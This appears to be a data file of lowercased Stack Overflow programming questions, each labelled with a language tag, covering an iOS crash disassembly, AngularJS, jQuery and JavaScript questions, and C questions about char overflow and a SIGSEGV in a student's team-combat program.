&lt;+16&gt;:  add    x29  sp  #48              ; =48      0x18e6c8538 &lt;+20&gt;:  sub    sp  sp  #4032             ; =4032      0x18e6c853c &lt;+24&gt;:  mov    x20  x0     0x18e6c8540 &lt;+28&gt;:  orr    w0  wzr  #0x20     0x18e6c8544 &lt;+32&gt;:  bl     0x18e6b6c24               ; __cxa_allocate_exception     0x18e6c8548 &lt;+36&gt;:  mov    x19  x0     0x18e6c854c &lt;+40&gt;:  adrp   x8  157305     0x18e6c8550 &lt;+44&gt;:  ldr    x8  [x8  #408]     0x18e6c8554 &lt;+48&gt;:  mov    x0  x20     0x18e6c8558 &lt;+52&gt;:  blr    x8     0x18e6c855c &lt;+56&gt;:  mov    x20  x0     0x18e6c8560 &lt;+60&gt;:  adrp   x8  151285     0x18e6c8564 &lt;+64&gt;:  ldr    x1  [x8]     0x18e6c8568 &lt;+68&gt;:  bl     0x18e6daf20               ; objc_msgsend     0x18e6c856c &lt;+72&gt;:  str    x20  [x19]     0x18e6c8570 &lt;+76&gt;:  adrp   x8  151286     0x18e6c8574 &lt;+80&gt;:  add    x8  x8  #160              ; =160      0x18e6c8578 &lt;+84&gt;:  add    x8  x8  #16               ; =16      0x18e6c857c &lt;+88&gt;:  mov    x21  x19     0x18e6c8580 &lt;+92&gt;:  str    x8  [x21  #8]!     0x18e6c8584 &lt;+96&gt;:  mov    x0  x20     0x18e6c8588 &lt;+100&gt;: bl     0x18e6c681c               ; object_getclassname     0x18e6c858c &lt;+104&gt;: str    x0  [x19  #16]     0x18e6c8590 &lt;+108&gt;: cbnz   x20  0x18e6c859c          ; &lt;+120&gt;     0x18e6c8594 &lt;+112&gt;: movz   x8  #0     0x18e6c8598 &lt;+116&gt;: b      0x18e6c85e0               ; &lt;+188&gt;     0x18e6c859c &lt;+120&gt;: tbz    x20  #63  0x18e6c85d8     ; &lt;+180&gt;     0x18e6c85a0 &lt;+124&gt;: lsr    x8  x20  #60     0x18e6c85a4 &lt;+128&gt;: cmp    x8  #15                   ; =15      0x18e6c85a8 &lt;+132&gt;: lsr    x8  x20  #57     0x18e6c85ac &lt;+136&gt;: and    x8  x8  #0x78     0x18e6c85b0 &lt;+140&gt;: adrp   x9  157305     0x18e6c85b4 &lt;+144&gt;: add    x9  x9  #544              ; =544      0x18e6c85b8 &lt;+148&gt;: add    x8  x9  x8     0x18e6c85bc &lt;+152&gt;: lsr    x9  x20  #52     0x18e6c85c0 &lt;+156&gt;: adrp   x10  157305     0x18e6c85c4 &lt;+160&gt;: add    x10  x10  #672            ; =672      0x18e6c85c8 &lt;+164&gt;: add    x9  x10  w9  uxtb #3     0x18e6c85cc &lt;+168&gt;: csel   x8  x8  x9  lo     0x18e6c85d0 &lt;+172&gt;: ldr    x8  [x8]     0x18e6c85d4 &lt;+176&gt;: b      0x18e6c85e0               ; &lt;+188&gt;     0x18e6c85d8 &lt;+180&gt;: ldr    x8  [x20]     0x18e6c85dc &lt;+184&gt;: and    x8  x8  #0xffffffff8     0x18e6c85e0 &lt;+188&gt;: str    x8  [x19  #24]     0x18e6c85e4 &lt;+192&gt;: adrp   x22  151466     0x18e6c85e8 &lt;+196&gt;: add    x22  x22  #1958           ; =1958      0x18e6c85ec &lt;+200&gt;: ldrb   w8  [x22]     0x18e6c85f0 &lt;+204&gt;: cbz    w8  0x18e6c8610           ; &lt;+236&gt;     0x18e6c85f4 &lt;+208&gt;: mov    x0  x20     0x18e6c85f8 &lt;+212&gt;: bl     0x18e6c681c               ; object_getclassname     0x18e6c85fc &lt;+216&gt;: stp    x20  x0  [sp  #8]     0x18e6c8600 &lt;+220&gt;: str    x19  [sp]     0x18e6c8604 &lt;+224&gt;: adrp   x0  29     0x18e6c8608 &lt;+228&gt;: add    x0  x0  #2192             ; =2192      0x18e6c860c &lt;+232&gt;: bl     0x18e6c7f00               ; _objc_inform     0x18e6c8610 &lt;+236&gt;: adrp   x8  151466     0x18e6c8614 &lt;+240&gt;: add    x8  x8  #1959             ; =1959      0x18e6c8618 &lt;+244&gt;: ldrb   w8  [x8]     0x18e6c861c &lt;+248&gt;: cbz    w8  0x18e6c8674           ; &lt;+336&gt;     0x18e6c8620 &lt;+252&gt;: ldrb   w8  [x22]     0x18e6c8624 &lt;+256&gt;: cbnz   w8  0x18e6c8644           ; &lt;+288&gt;     0x18e6c8628 &lt;+260&gt;: mov    x0  x20     0x18e6c862c &lt;+264&gt;: bl     0x18e6c681c               ; object_getclassname     0x18e6c8630 &lt;+268&gt;: stp    x20  x0  [sp  #8]     0x18e6c8634 &lt;+272&gt;: str    x19  [sp]     0x18e6c8638 &lt;+276&gt;: adrp   x0  29     0x18e6c863c &lt;+280&gt;: add    x0  x0  #2192             ; =2192      0x18e6c8640 &lt;+284&gt;: bl     0x18e6c7f00               ; _objc_inform     0x18e6c8644 &lt;+288&gt;: movz   w1  #0x1f4     0x18e6c8648 &lt;+292&gt;: add    x0  sp  #32               ; =32      0x18e6c864c &lt;+296&gt;: bl     0x18eb7709c               ; backtrace     0x18e6c8650 &lt;+300&gt;: mov    x22  x0     0x18e6c8654 &lt;+304&gt;: adrp   x8  132269     0x18e6c8658 &lt;+308&gt;: ldr    x8  [x8  #48]     0x18e6c865c &lt;+312&gt;: ldr    x0  [x8]     0x18e6c8660 &lt;+316&gt;: bl     0x18eb7a548               ; fileno     0x18e6c8664 &lt;+320&gt;: mov    x2  x0     0x18e6c8668 &lt;+324&gt;: add    x0  sp  #32               ; =32      0x18e6c866c &lt;+328&gt;: mov    x1  x22     0x18e6c8670 &lt;+332&gt;: bl     0x18eb86804               ; backtrace_symbols_fd     0x18e6c8674 &lt;+336&gt;: mov    x0  x20     0x18e6c8678 &lt;+340&gt;: nop         0x18e6c867c &lt;+344&gt;: adrp   x2  0     0x18e6c8680 &lt;+348&gt;: add    x2  x2  #1680             ; =1680      0x18e6c8684 &lt;+352&gt;: mov    x0  x19     0x18e6c8688 &lt;+356&gt;: mov    x1  x21     0x18e6c868c &lt;+360&gt;: bl     0x18e6e4764               ; symbol stub for: +[nsobject resolveinstancemethod:] </code></pre>   edit:  ok i got lucky and found a notification that was not wrapped in a main thread call.  turns out it was a property changed from a background thread triggering a notification.  surprisingly difficult to find the ui code that was being called.  i must be doing something wrong.,ios
div turns blue if clicked to much  i have a simple div that if clicked to much turns blue: <a href= http://jsfiddle.net/ytkrs/1/  rel= nofollow >jsfiddle</a>    in chrome its worse  the whole div(30x30px + some other surounding elements) turns blue. is there anything i can do about this (other than using img),html
how to store the result from multiple $resource.get requests in angularjs  i want to loop over an array and for each element in that array i am doing an $resource..get() request to the server. i would like to store the data response from each request in an array because i would like to use ng-repeat over this array and display the content to the user.    my problem is that i am unable to store the data from each request.    the simplified code looks something like this:   <pre><code>result = [ ] for obj in arr     data = $resource( /some/url)     data = $resource.get( (data) -&gt;         result.push data     ) </code></pre>   but the result array is empty.    could anybody please give me some hints on how to solve this problem  i guess it is an obvious answer but as a beginner i am unable to see the solution. perhaps i am looking at the problem from a wrong point of view     thanks!,angularjs
adding class to element outside selected element  consider the next html:   <pre><code>&lt;ul&gt;     &lt;li&gt;&lt;span id= package_s &gt;small&lt;/span&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   how can i add a class to the <code>li</code> element using the id of the <code>span</code> element inside the <code>li</code>,jquery
how to append multiple lists in different pages into a single list  <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt;     &lt;title&gt;novar app&lt;/title&gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1 &gt;     &lt;link rel= stylesheet  href= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.css &gt;     &lt;script src= http://code.jquery.com/jquery-1.8.2.min.js &gt;&lt;/script&gt;     &lt;script src= http://code.jquery.com/mobile/1.2.0/jquery.mobile-1.2.0.min.js &gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt;     &lt;body&gt;  &lt;div data-role= page  id= home &gt; &lt;div data-role= header &gt; &lt;h1&gt;site details&lt;/h1&gt; &lt;/div&gt;  &lt;div data-role= content &gt;  &lt;a href= #site entry1  data-role= button  data-inline= true &gt;enter the details of site&lt;/a&gt;  &lt;a href= #modify site  data-role= button  data-inline= true &gt;modify site details&lt;/a&gt;  &lt;/div&gt;   &lt;/div&gt;  &lt;div data-role= page  id= site entry1 &gt;  &lt;div data-role= header &gt;     &lt;a href= #home  data-rel= back  data-role= button  data-icon= home &gt;home&lt;/a&gt;     &lt;h1&gt;welcome to enter the details of site&lt;/h1&gt;     &lt;/div&gt;   &lt;div data-role= content &gt;     &lt;div class= content-primary &gt;     &lt;form&gt;     &lt;ul data-role= listview &gt;         &lt;li data-role= fieldcontain &gt;             &lt;label for= sitename &gt;site name:&lt;/label&gt;             &lt;input type= text  sitename= name  id= sitename  value=    /&gt;         &lt;/li&gt;         &lt;li data-role= fieldcontain &gt;             &lt;label for= siteno &gt;site name:&lt;/label&gt;             &lt;input type= text  siteno= siteno  id= siteno  value=    /&gt;         &lt;/li&gt;          &lt;a href= #site entry2  data-role= button  data-inline= true &gt;next&lt;/a&gt;      &lt;/ul&gt;      &lt;/form&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;  &lt;div data-role= page  id= site entry2 &gt;      &lt;div data-role= header &gt;     &lt;a href= #site entry1   data-role= button  data-icon= back &gt;previous&lt;/a&gt;     &lt;h1&gt;welcome to enter the module details of site&lt;/h1&gt;     &lt;/div&gt;       &lt;div data-role= content &gt;         &lt;div class= content-primary &gt;         &lt;form&gt;         &lt;ul data-role= listview &gt;             &lt;li data-role= fieldcontain &gt;                 &lt;label for= moduleno &gt;name:&lt;/label&gt;                 &lt;input type= text  modulename= moduleno  id= moduleno  value=    /&gt;             &lt;/li&gt;             &lt;li class= ui-body ui-body-b &gt;                 &lt;fieldset class= ui-grid-a &gt;                         &lt;div class= ui-block-b &gt;&lt;button type= submit  data-theme= a &gt;submit&lt;/button&gt;&lt;/div&gt;                     &lt;/fieldset&gt;             &lt;/li&gt;          &lt;/ul&gt;          &lt;/form&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div data-role= footer &gt;     &lt;a href= #site entry3  data-role= button  data-icon= arrow-r &gt;next&lt;/a&gt;     &lt;/div&gt;   &lt;/div&gt;  &lt;div data-role= page  id= site entry3 &gt;      &lt;div data-role= header &gt;     &lt;a href= #site entry2  data-rel= back  data-role= button  data-icon= back &gt;previous&lt;/a&gt;    &lt;h1&gt;welcome to enter the exe details of site&lt;/h1&gt;     &lt;/div&gt;       &lt;div data-role= content &gt;         &lt;div class= content-primary &gt;         &lt;form&gt;         &lt;ul data-role= listview &gt;             &lt;li data-role= fieldcontain &gt;                 &lt;label for= modulename &gt;name:&lt;/label&gt;                 &lt;input type= text  name= name  id= name  value=    /&gt;             &lt;/li&gt;              &lt;li class= ui-body ui-body-b &gt;                 &lt;fieldset class= ui-grid-a &gt;                         &lt;div class= ui-block-b &gt;&lt;button type= submit  data-theme= a &gt;submit&lt;/button&gt;&lt;/div&gt;                     &lt;/fieldset&gt;             &lt;/li&gt;          &lt;/ul&gt;          &lt;/form&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div data-role= footer &gt;     &lt;a href= #home   data-role= button  data-icon= home &gt;home&lt;/a&gt;     &lt;/div&gt;  &lt;/div&gt;  &lt;div data-role= page  id= modify site &gt;      &lt;div data-role= header &gt;     &lt;a href= home  data-rel= back  data-role= button  data-icon= home &gt;home&lt;/a&gt;     &lt;h1&gt;list of sites &lt;/h1&gt;     &lt;/div&gt;      &lt;div data-role= content &gt;     &lt;/div&gt;      &lt;div data-role= footer &gt;     &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i need to create a list which will contain all the fields from multiple lists in different pages in to one. can it be done using jquery     i have tried with the code like this   <pre><code> var listitemhtml =       &lt;li class= siteentry &gt;  +        &lt;a class= sitename &gt;{sitename}&lt;/a&gt;  +        &lt;a class= siteno &gt;{siteno}&lt;/a&gt;  +        &lt;a class= donebutton  data-icon= check &gt;&lt;/a&gt;  +      &lt;/li&gt; ;     function makelistitem(site) {     var html = listitemhtml.patternreplace({            sitename: site.getsitename()            siteno: site.getsiteno()            moduleno: site.getmoduleno()            executiveno: site.getexecutiveno()          })          li = $(html);     li.find( a.donebutton ).attr( id   site.getname());     return li;   } </code></pre>   but all the lists are not getting appended to a single list. plz do help me thanks in advance.,jquery
is it a good practice to depend on boolean operators returning one of their operands   i often rely on the fact that in javascript conditional operators do not return true or false but one of the arguments.     for example:   <pre><code>function(e){     this.someotherfunction.apply(this  e.config || []);  } </code></pre>   so far i have not come across any issues and when i tried to find out what douglas crockford (read jslint) has to say about it  i haven t found any issue.     are there any dangers in using this kind of syntax,javascript
what should be the correct answer of the following code that s supposed to contain integer overflow   i have had a long discussion with a group of colleagues regarding the correct answer of the question in the following code section. i have relied on a couple of discussions here on stackoverflow.com about overflow in signed integers for my answer. so  i told them that the choices should contain  undefined behavior  and it should be the correct answer. but they said the answer should be (c) and they provided some links of the same question on many sites providing the same question and answer. i will quote the question  its answer and explanation as given in the links they provided. so  what should be the correct answer  thanks   <blockquote>   <ol start= 3 >   <li>what will be output if you will compile and execute the following c code </li>   </ol> </blockquote>  <pre><code>#include&lt;stdio.h&gt; int main() {     char c=125;     c=c+10;     printf( %d  c);     return 0; } </code></pre>  <blockquote>    choices:  </blockquote>  <pre><code>(a) 135 (b) +inf (c) -121 (d) -8 (e) compiler error </code></pre>  <blockquote>    explanation:  </blockquote>  <pre><code>as we know char data type shows cyclic properties i.e. if you will increase  or decrease the char variables beyond its maximum or minimum value  respectively it will repeat same value according to following cyclic      order: so  125+1= 126 125+2= 127 125+3=-128 125+4=-127 125+5=-126 125+6=-125 125+7=-124 125+8=-123 125+9=-122 125+10=-121 answer: (c) </code></pre>,c
how can i write to char in structure with sprintf  i wrote this program for school but even if it finishes  dev-cpp gives me a sigsegv error at the end. by searching on google i found that my problem probably comes from everything that is bound to my chars in my structures. i am trying to write on my char nom[10] and char nom_team[10] with sprintf. i do this because i want to ad a number to the default  player  name like so : player 1  player 2 ...    i don t know exactly where i am trying to write on memory that i don t own. i don t know any other way to achieve the player 1  player 2 ... thing either.    thank you for the help.    edit (full code &amp; edit following michael walz comment)   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; typedef struct player player; //shortened perso type typedef struct team team; //shortened team type  struct player //perso structure {     char name[10]; //player name     int hp; //healt points     int atk; //attack points     int def; //defense points };  struct team //team structure {     char name_team[10]; //team name     player player[5]; //players in the team     int nbrp; //number of players left };  void init_player (player*); //player initialisation void fight (player* player*); //damage calculation int hpp (player* player*); //players duel simulation void init_team (team*); //team initialisation char* tvt (team* team*); //team combat simulation  main() //main {     srand(time(null));     int i;     char* wint; //winning team name string     team t[2]; //the 2 teams     for (i=1;i&lt;3;i++)     {         init_team (&amp;t[i]); //teams initialisation     }     //changing team names     sprintf(t[1].name_team  %s   orange );     sprintf(t[2].name_team  %s   verte );     //changing players names     sprintf(t[1].player[0].name  %s   gerald );     sprintf(t[1].player[1].name  %s   ilda );     sprintf(t[1].player[2].name  %s   falion );     sprintf(t[1].player[3].name  %s   thor );     sprintf(t[1].player[4].name  %s   ralof );     sprintf(t[2].player[0].name  %s   gandalf );     sprintf(t[2].player[1].name  %s   jaena );     sprintf(t[2].player[2].name  %s   philip );     sprintf(t[2].player[3].name  %s   astrid );     sprintf(t[2].player[4].name  %s   ponchaut );     wint = tvt (&amp;t[1] &amp;t[2]); //wint is the result of the combat between the two teams       printf( %s\n  wint); }  void init_player (player* p) //player initialisation {     static int i=1; //static variable for player number     sprintf(p-&gt;name  player %d  i); //applying player name     p-&gt;hp = 100 + rand()%10; //giving hp     p-&gt;atk = 10 + rand()%10; //giving atk     p-&gt;def = 5 + rand()%5; //giving def     printf( name : %s\n  p-&gt;name);     printf( hp : %d\n  p-&gt;hp);     printf( atk : %d\n  p-&gt;atk);     printf( def : %d\n  p-&gt;def);     printf( \n );     //showing player stats     i++; //next player number }  void fight (player *p1 player *p2) //damage calculation {     int dam;     dam = p1-&gt;atk - p2-&gt;def; //simple damage calculation     printf( dam : %d\n  dam); //showing damage done     p2-&gt;hp = p2-&gt;hp - dam; //applying damage }  int hpp (player *p1 player *p2) //players duel simulation {     int turnp; //turns of the duel     for (turnp=1;p1-&gt;hp&gt;0 &amp;&amp; p2-&gt;hp&gt;0;turnp++) //continues while players are alive     {         printf( hp p1 : %d\n  p1-&gt;hp); //showing hp before combat         printf( hp p2 : %d\n  p2-&gt;hp);         if(turnp%2 != 0) fight (p1 p2); //p1 always begin         else fight (p2 p1); //then it s p2 s turn to attack     }     if (p1-&gt;hp&lt;=0) return 2; //p2 is the winner if p1 dies     else return 1; //p1 is the winner is p2 dies }  void init_team (team* t) //team initialisation {     int i;     static int k=1; //static variable for team number     sprintf(t-&gt;name_team  team %d  k); //applying team name     t-&gt;nbrp = 5; //defining number of players left in team at the start     for (i=0;i&lt;5;i++)     {         init_player(&amp;t-&gt;player[i]); //initializing players in team     }     k++; //next team number }  char* tvt (team* t1  team* t2) //team combat simulation {     int turnt winp; //team combat turns and duel winner variables     int i=0 j=0;     for (turnt=1;t1-&gt;nbrp&gt;0 &amp;&amp; t2-&gt;nbrp&gt;0;turnt++) //continues while the teams have at least one player left alive     {         printf( %s de la team %s contre %s de la team %s\n  t1-&gt;player[i].name t1-&gt;name_team t2-&gt;player[j].name t2-&gt;name_team);         //introduction message to next duel         winp =  hpp (&amp;t1-&gt;player[i] &amp;t2-&gt;player[j]); //simulating duel  the result is stored in winp         if (winp == 1)         {             (t2-&gt;nbrp)--; //if player in team 2 dies we decrement the number of players left in that team             j++; //we order the next player in the team 2 to duel         }         else         {             (t1-&gt;nbrp)--; ///if player in team 1 dies we decrement the number of players left in that team             i++; //we order the next player in the team 1 to duel         }     }     if(t1-&gt;nbrp&lt;=0) return t2-&gt;name_team; //if team 1 loses we return team 2 s name     else return t1-&gt;name_team; //if team 2 loses we return team 1 s name } </code></pre>   note : when i put   <pre><code>char name[100] </code></pre>   and   <pre><code>char name_team[100] </code></pre>   i get only this   <pre><code>name : player 1 hp : 103 atk : 19 def : 9  name : player 2 hp : 100 atk : 12 def : 6  name : player 3 hp : 107 atk : 12 def : 8  name : player 4 hp : 101 atk : 19 def : 6  name : player 5 hp : 108 atk : 17 def : 8   -------------------------------- process exited after 2.507 seconds with return value 3221225477 appuyez sur une touche pour continuer... </code></pre>   the result i want is this (except that when t2 wins is writen  @■b  at the the bottom instea of  verte  :   <pre><code>name : player 1 hp : 109 atk : 14 def : 9  name : player 2 hp : 106 atk : 12 def : 8  name : player 3 hp : 106 atk : 17 def : 8  name : player 4 hp : 100 atk : 11 def : 8  name : player 5 hp : 103 atk : 12 def : 9  name : player 6 hp : 106 atk : 12 def : 6  name : player 7 hp : 105 atk : 13 def : 7  name : player 8 hp : 107 atk : 19 def : 7  name : player 9 hp : 100 atk : 16 def : 8  name : player 10 hp : 105 atk : 11 def : 9  gerald de la team orange contre gandalf de la team verte hp p1 : 109 hp p2 : 106 dam : 8 hp p1 : 109 hp p2 : 98 dam : 3 hp p1 : 106 hp p2 : 98 dam : 8 hp p1 : 106 hp p2 : 90 dam : 3 hp p1 : 103 hp p2 : 90 dam : 8 hp p1 : 103 hp p2 : 82 dam : 3 hp p1 : 100 hp p2 : 82 dam : 8 hp p1 : 100 hp p2 : 74 dam : 3 hp p1 : 97 hp p2 : 74 dam : 8 hp p1 : 97 hp p2 : 66 dam : 3 hp p1 : 94 hp p2 : 66 dam : 8 hp p1 : 94 hp p2 : 58 dam : 3 hp p1 : 91 hp p2 : 58 dam : 8 hp p1 : 91 hp p2 : 50 dam : 3 hp p1 : 88 hp p2 : 50 dam : 8 hp p1 : 88 hp p2 : 42 dam : 3 hp p1 : 85 hp p2 : 42 dam : 8 hp p1 : 85 hp p2 : 34 dam : 3 hp p1 : 82 hp p2 : 34 dam : 8 hp p1 : 82 hp p2 : 26 dam : 3 hp p1 : 79 hp p2 : 26 dam : 8 hp p1 : 79 hp p2 : 18 dam : 3 hp p1 : 76 hp p2 : 18 dam : 8 hp p1 : 76 hp p2 : 10 dam : 3 hp p1 : 73 hp p2 : 10 dam : 8 hp p1 : 73 hp p2 : 2 dam : 3 hp p1 : 70 hp p2 : 2 dam : 8 gerald de la team orange contre jaena de la team verte hp p1 : 70 hp p2 : 105 dam : 7 hp p1 : 70 hp p2 : 98 dam : 4 hp p1 : 66 hp p2 : 98 dam : 7 hp p1 : 66 hp p2 : 91 dam : 4 hp p1 : 62 hp p2 : 91 dam : 7 hp p1 : 62 hp p2 : 84 dam : 4 hp p1 : 58 hp p2 : 84 dam : 7 hp p1 : 58 hp p2 : 77 dam : 4 hp p1 : 54 hp p2 : 77 dam : 7 hp p1 : 54 hp p2 : 70 dam : 4 hp p1 : 50 hp p2 : 70 dam : 7 hp p1 : 50 hp p2 : 63 dam : 4 hp p1 : 46 hp p2 : 63 dam : 7 hp p1 : 46 hp p2 : 56 dam : 4 hp p1 : 42 hp p2 : 56 dam : 7 hp p1 : 42 hp p2 : 49 dam : 4 hp p1 : 38 hp p2 : 49 dam : 7 hp p1 : 38 hp p2 : 42 dam : 4 hp p1 : 34 hp p2 : 42 dam : 7 hp p1 : 34 hp p2 : 35 dam : 4 hp p1 : 30 hp p2 : 35 dam : 7 hp p1 : 30 hp p2 : 28 dam : 4 hp p1 : 26 hp p2 : 28 dam : 7 hp p1 : 26 hp p2 : 21 dam : 4 hp p1 : 22 hp p2 : 21 dam : 7 hp p1 : 22 hp p2 : 14 dam : 4 hp p1 : 18 hp p2 : 14 dam : 7 hp p1 : 18 hp p2 : 7 dam : 4 hp p1 : 14 hp p2 : 7 dam : 7 gerald de la team orange contre philip de la team verte hp p1 : 14 hp p2 : 107 dam : 7 hp p1 : 14 hp p2 : 100 dam : 10 hp p1 : 4 hp p2 : 100 dam : 7 hp p1 : 4 hp p2 : 93 dam : 10 ilda de la team orange contre philip de la team verte hp p1 : 106 hp p2 : 93 dam : 5 hp p1 : 106 hp p2 : 88 dam : 11 hp p1 : 95 hp p2 : 88 dam : 5 hp p1 : 95 hp p2 : 83 dam : 11 hp p1 : 84 hp p2 : 83 dam : 5 hp p1 : 84 hp p2 : 78 dam : 11 hp p1 : 73 hp p2 : 78 dam : 5 hp p1 : 73 hp p2 : 73 dam : 11 hp p1 : 62 hp p2 : 73 dam : 5 hp p1 : 62 hp p2 : 68 dam : 11 hp p1 : 51 hp p2 : 68 dam : 5 hp p1 : 51 hp p2 : 63 dam : 11 hp p1 : 40 hp p2 : 63 dam : 5 hp p1 : 40 hp p2 : 58 dam : 11 hp p1 : 29 hp p2 : 58 dam : 5 hp p1 : 29 hp p2 : 53 dam : 11 hp p1 : 18 hp p2 : 53 dam : 5 hp p1 : 18 hp p2 : 48 dam : 11 hp p1 : 7 hp p2 : 48 dam : 5 hp p1 : 7 hp p2 : 43 dam : 11 falion de la team orange contre philip de la team verte hp p1 : 106 hp p2 : 43 dam : 10 hp p1 : 106 hp p2 : 33 dam : 11 hp p1 : 95 hp p2 : 33 dam : 10 hp p1 : 95 hp p2 : 23 dam : 11 hp p1 : 84 hp p2 : 23 dam : 10 hp p1 : 84 hp p2 : 13 dam : 11 hp p1 : 73 hp p2 : 13 dam : 10 hp p1 : 73 hp p2 : 3 dam : 11 hp p1 : 62 hp p2 : 3 dam : 10 falion de la team orange contre astrid de la team verte hp p1 : 62 hp p2 : 100 dam : 9 hp p1 : 62 hp p2 : 91 dam : 8 hp p1 : 54 hp p2 : 91 dam : 9 hp p1 : 54 hp p2 : 82 dam : 8 hp p1 : 46 hp p2 : 82 dam : 9 hp p1 : 46 hp p2 : 73 dam : 8 hp p1 : 38 hp p2 : 73 dam : 9 hp p1 : 38 hp p2 : 64 dam : 8 hp p1 : 30 hp p2 : 64 dam : 9 hp p1 : 30 hp p2 : 55 dam : 8 hp p1 : 22 hp p2 : 55 dam : 9 hp p1 : 22 hp p2 : 46 dam : 8 hp p1 : 14 hp p2 : 46 dam : 9 hp p1 : 14 hp p2 : 37 dam : 8 hp p1 : 6 hp p2 : 37 dam : 9 hp p1 : 6 hp p2 : 28 dam : 8 thor de la team orange contre astrid de la team verte hp p1 : 100 hp p2 : 28 dam : 3 hp p1 : 100 hp p2 : 25 dam : 8 hp p1 : 92 hp p2 : 25 dam : 3 hp p1 : 92 hp p2 : 22 dam : 8 hp p1 : 84 hp p2 : 22 dam : 3 hp p1 : 84 hp p2 : 19 dam : 8 hp p1 : 76 hp p2 : 19 dam : 3 hp p1 : 76 hp p2 : 16 dam : 8 hp p1 : 68 hp p2 : 16 dam : 3 hp p1 : 68 hp p2 : 13 dam : 8 hp p1 : 60 hp p2 : 13 dam : 3 hp p1 : 60 hp p2 : 10 dam : 8 hp p1 : 52 hp p2 : 10 dam : 3 hp p1 : 52 hp p2 : 7 dam : 8 hp p1 : 44 hp p2 : 7 dam : 3 hp p1 : 44 hp p2 : 4 dam : 8 hp p1 : 36 hp p2 : 4 dam : 3 hp p1 : 36 hp p2 : 1 dam : 8 hp p1 : 28 hp p2 : 1 dam : 3 thor de la team orange contre ponchaut de la team verte hp p1 : 28 hp p2 : 105 dam : 2 hp p1 : 28 hp p2 : 103 dam : 3 hp p1 : 25 hp p2 : 103 dam : 2 hp p1 : 25 hp p2 : 101 dam : 3 hp p1 : 22 hp p2 : 101 dam : 2 hp p1 : 22 hp p2 : 99 dam : 3 hp p1 : 19 hp p2 : 99 dam : 2 hp p1 : 19 hp p2 : 97 dam : 3 hp p1 : 16 hp p2 : 97 dam : 2 hp p1 : 16 hp p2 : 95 dam : 3 hp p1 : 13 hp p2 : 95 dam : 2 hp p1 : 13 hp p2 : 93 dam : 3 hp p1 : 10 hp p2 : 93 dam : 2 hp p1 : 10 hp p2 : 91 dam : 3 hp p1 : 7 hp p2 : 91 dam : 2 hp p1 : 7 hp p2 : 89 dam : 3 hp p1 : 4 hp p2 : 89 dam : 2 hp p1 : 4 hp p2 : 87 dam : 3 hp p1 : 1 hp p2 : 87 dam : 2 hp p1 : 1 hp p2 : 85 dam : 3 ralof de la team orange contre ponchaut de la team verte hp p1 : 103 hp p2 : 85 dam : 3 hp p1 : 103 hp p2 : 82 dam : 2 hp p1 : 101 hp p2 : 82 dam : 3 hp p1 : 101 hp p2 : 79 dam : 2 hp p1 : 99 hp p2 : 79 dam : 3 hp p1 : 99 hp p2 : 76 dam : 2 hp p1 : 97 hp p2 : 76 dam : 3 hp p1 : 97 hp p2 : 73 dam : 2 hp p1 : 95 hp p2 : 73 dam : 3 hp p1 : 95 hp p2 : 70 dam : 2 hp p1 : 93 hp p2 : 70 dam : 3 hp p1 : 93 hp p2 : 67 dam : 2 hp p1 : 91 hp p2 : 67 dam : 3 hp p1 : 91 hp p2 : 64 dam : 2 hp p1 : 89 hp p2 : 64 dam : 3 hp p1 : 89 hp p2 : 61 dam : 2 hp p1 : 87 hp p2 : 61 dam : 3 hp p1 : 87 hp p2 : 58 dam : 2 hp p1 : 85 hp p2 : 58 dam : 3 hp p1 : 85 hp p2 : 55 dam : 2 hp p1 : 83 hp p2 : 55 dam : 3 hp p1 : 83 hp p2 : 52 dam : 2 hp p1 : 81 hp p2 : 52 dam : 3 hp p1 : 81 hp p2 : 49 dam : 2 hp p1 : 79 hp p2 : 49 dam : 3 hp p1 : 79 hp p2 : 46 dam : 2 hp p1 : 77 hp p2 : 46 dam : 3 hp p1 : 77 hp p2 : 43 dam : 2 hp p1 : 75 hp p2 : 43 dam : 3 hp p1 : 75 hp p2 : 40 dam : 2 hp p1 : 73 hp p2 : 40 dam : 3 hp p1 : 73 hp p2 : 37 dam : 2 hp p1 : 71 hp p2 : 37 dam : 3 hp p1 : 71 hp p2 : 34 dam : 2 hp p1 : 69 hp p2 : 34 dam : 3 hp p1 : 69 hp p2 : 31 dam : 2 hp p1 : 67 hp p2 : 31 dam : 3 hp p1 : 67 hp p2 : 28 dam : 2 hp p1 : 65 hp p2 : 28 dam : 3 hp p1 : 65 hp p2 : 25 dam : 2 hp p1 : 63 hp p2 : 25 dam : 3 hp p1 : 63 hp p2 : 22 dam : 2 hp p1 : 61 hp p2 : 22 dam : 3 hp p1 : 61 hp p2 : 19 dam : 2 hp p1 : 59 hp p2 : 19 dam : 3 hp p1 : 59 hp p2 : 16 dam : 2 hp p1 : 57 hp p2 : 16 dam : 3 hp p1 : 57 hp p2 : 13 dam : 2 hp p1 : 55 hp p2 : 13 dam : 3 hp p1 : 55 hp p2 : 10 dam : 2 hp p1 : 53 hp p2 : 10 dam : 3 hp p1 : 53 hp p2 : 7 dam : 2 hp p1 : 51 hp p2 : 7 dam : 3 hp p1 : 51 hp p2 : 4 dam : 2 hp p1 : 49 hp p2 : 4 dam : 3 hp p1 : 49 hp p2 : 1 dam : 2 hp p1 : 47 hp p2 : 1 dam : 3 orange  -------------------------------- process exited after 5.682 seconds with return value 3221225477 appuyez sur une touche pour continuer... </code></pre>   in either case  when i just compile and run the program using dev-cpp  windows tells me it crashed after everything is done. when i use the <a href= https://i.stack.imgur.com/4i1kw.png  rel= nofollow noreferrer >debug with -g argument</a>    i get sigsegv error at the end.    note 2 : we didn t learn snprintf yet so i am not allowed to use this command; there are no actual inputs; and about the line that gives the sigsegv error  i don t know how to ask dev-cpp to say which line it is  the only method i ve got is to turn blocks of code into commentary (obviously keeping  a compilable program) until the error disappears and i led me to this line :   <pre><code>sprintf(p-&gt;name  player %d  i); //applying player name </code></pre>,c
